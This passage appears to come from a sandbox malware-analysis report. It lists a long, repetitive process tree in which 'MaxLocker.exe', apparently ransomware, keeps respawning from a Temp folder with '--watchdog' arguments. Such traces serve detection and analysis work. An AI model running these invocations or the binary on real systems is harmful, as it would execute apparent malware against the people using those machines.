  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4756
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4756 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2040
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3528
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3528 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:912
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3064
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3064 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4136
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5512
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5512 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4320
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3848 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2568
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3268
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3268 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2608
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4844 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5932
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4712
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4712 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5144
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4940 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1960
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3376
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3376 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1880
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4932
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4932 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2136
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3788
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3788 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3140
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1228
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1228 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3216
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5476
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5476 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4324
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4612
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4612 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5424
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4312
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4312 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3808
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3616
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3616 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2412
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3152
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3152 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5372
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5372 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3904
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5220
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5220 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3320
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2032
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2032 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1344
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1952
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1952 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4368
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4912
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4912 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4664
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2584
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2584 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1408
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3012
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3012 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4412
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2676
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2676 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4824
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3768
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3768 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4436
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1212
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1212 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4272
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3712
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3712 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5860
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5376
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5376 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4512
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4512 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4332
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2512
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2512 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1036
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:912
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 912 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4432
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:332
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 332 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3064
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4320
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4320 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4872
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2668
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2668 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3848
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5992
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5992 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2608
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4392
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4392 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4844
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5340
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5340 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4712
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4416
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4416 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1960
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2656
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2656 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3376
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5260 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2548
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2832
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2832 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1472
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5640
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5640 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2616
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3272
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3272 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3236
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2964
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2964 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:388
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1904
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1904 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3116
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3088
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3088 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5660
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4156
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4156 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2744
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5012
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5012 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1112
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4980
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4980 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4572
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:940
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 940 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6004
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:876
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 876 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3612
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1384
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1384 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4384
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4692
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4692 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3948
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4444
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4444 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2464
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5516
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5516 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4900
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4716
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4716 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3328
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 3328 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4592
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2648
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2648 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1388
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5860
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5860 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4576
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5720
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5720 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4260
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1536
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1536 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4652
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4600
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 4600 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4080
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:2756
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 2756 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:4124
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:1152
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 1152 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:396
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:5596
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 2 5596 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:6132
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe" --watchdog 1 3060 1b443ca0f5e74ebcaa40112f39704798
  2⤵
  PID:3136
- C:\Users\Admin\AppData\Local\Temp\MaxLocker.exe
